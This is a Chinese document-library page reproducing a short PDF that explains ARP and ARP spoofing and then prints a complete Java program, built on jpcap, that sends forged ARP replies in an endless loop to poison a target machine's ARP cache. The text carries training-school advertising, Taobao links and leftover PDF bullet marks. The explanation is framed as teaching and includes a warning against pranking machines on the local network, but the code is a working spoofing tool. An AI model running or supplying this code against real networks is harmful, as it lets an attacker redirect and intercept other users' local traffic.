logo资料库

JAVA代码实现ARP攻击.pdf

第1页 / 共3页
第2页 / 共3页
第3页 / 共3页
资料共3页,全文预览结束
ARP攻击原理 一台电脑通过网络访问另一台电脑的时候,在数据链路层需要知道对方的MAC地址进行真正的物理通信. 而电脑上的应用程序通常都是根据另一台电脑的IP地址来和对方建立通信,这时候就需要有一个协议将 IP地址解析到MAC地址,这就是ARP协议.达内就业 而ARP具体过程就是当需要通过IP获取一个远端的的MAC地址的时候,系统会首先检查ARP表中 是否存在对应的IP地址,如果没有,则发送一个ARP广播,当某一个拥有这个MAC地址的节点 收到ARP请求的时候,会创建一个ARP reply包,并发送到ARP请求的源节点, ARP Reply包中就包含了目的地节点的MAC地址,在源节点接受到这个reply后, 会将目的地节点的MAC地址保存在ARP缓存表中,下一次再次请求同一 IP地址的时候, 系统将会从ARP表中直接获取目的地MAC地址,而不需要再次发送ARP广播。 用ping命令举例来说, 在机器A,比如说IP是 192.168.1.2 中发出下面的ping命令: ping 192.168.1.3,如果 192.168.1.3 这个MAC地址在机器A的ARP缓存表中不存在,这时候 机器A就会发送一个ARP广播,当 192.168.1.3 接到广播后,会给机器A回一个 ARP Reply包,其中包含了 192.168.1.3 的MAC地址,这是正常的ARP过程. 假设IP--MAC的对应关系为(192.168.1.3--00-1C-23-2E-A7-0E) 但是局域网内的其他机器也可向机器A发一个假的IP--MAC对应关系ARP Reply包, 机器A接收到这个假的包后同样会更新自己的ARP缓存表.假设发送的为 (192.168.1.3--00-1C-23-2E-A7-0A,0A实际上为 192.168.1.4 的MAC地址) 那么机器A再通过IP往 192.168.1.3 发送数据的时候,实际上却发到了 192.168.1.4 这台机器. 这样就到达了ARP攻击或者叫做ARP欺骗.ARP攻击只能发生在局域网内. 本文旨在举例说明ARP攻击的原理,希望看官们不要用来恶作剧你局域网的其他机器,要不你的网管很快就 会面谈你滴... 下面用JAVA代码模拟一下上面说到的ARP欺骗. 192.168.1.4 将一个 192.168.1.3 的假的MAC地址发给 192.168.1.2.【成都java就业怎么样】 需要用到jpcap.jar, [java] view plaincopyprint? package com.test.arp; • • • • import java.net.InetAddress; import jpcap.JpcapCaptor; import jpcap.JpcapSender; import jpcap.NetworkInterface; import jpcap.packet.ARPPacket; import jpcap.packet.EthernetPacket; public class SendFakeARP { java技术支持:http://51ccsj.taobao.com/ java视频教程:http://chengchengtech.taobao.com/
• • static byte[] stomac(String s) { byte[] mac = new byte[] { (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00 }; String[] s1 = s.split("-"); for (int x = 0; x < s1.length; x++) { • mac[x] = (byte) ((Integer.parseInt(s1[x], 16)) & 0xff); } • • • • • return mac; } public static void main(String[] args) throws Exception { int time = 2; // 重发间隔时间 达内java培训 InetAddress desip = InetAddress.getByName("192.168.1.2");// 被欺骗的目标 IP 地址 byte[] desmac = stomac("00-1c-23-3c-41-7f");// 被欺骗的目标目标 MAC 数组 InetAddress srcip = InetAddress.getByName("192.168.1.3");// 源 IP 地址 byte[] srcmac = stomac("00-1C-23-2E-A7-0A"); // 假的 MAC 数组 // 枚举网卡并打开设备 NetworkInterface[] devices = JpcapCaptor.getDeviceList(); • NetworkInterface device = devices[1]; JpcapSender sender = JpcapSender.openDevice(device); // 设置 ARP 包 ARPPacket arp = new ARPPacket(); arp.hardtype = ARPPacket.HARDTYPE_ETHER; arp.prototype = ARPPacket.PROTOTYPE_IP; arp.operation = ARPPacket.ARP_REPLY; arp.hlen = 6; arp.plen = 4; arp.sender_hardaddr = srcmac; arp.sender_protoaddr = srcip.getAddress(); arp.target_hardaddr = desmac; arp.target_protoaddr = desip.getAddress(); // 设置 DLC 帧 EthernetPacket ether = new EthernetPacket(); ether.frametype = EthernetPacket.ETHERTYPE_ARP; ether.src_mac = srcmac; ether.dst_mac = desmac; arp.datalink = ether; // 发送ARP应答包java培训机构 while (true) { System.out.println("sending arp.."); sender.sendPacket(arp); Thread.sleep(time * 1000); • • • • • • • • • • • java技术支持:http://51ccsj.taobao.com/ java视频教程:http://chengchengtech.taobao.com/
• • } } } java技术支持:http://51ccsj.taobao.com/ java视频教程:http://chengchengtech.taobao.com/
分享到:
收藏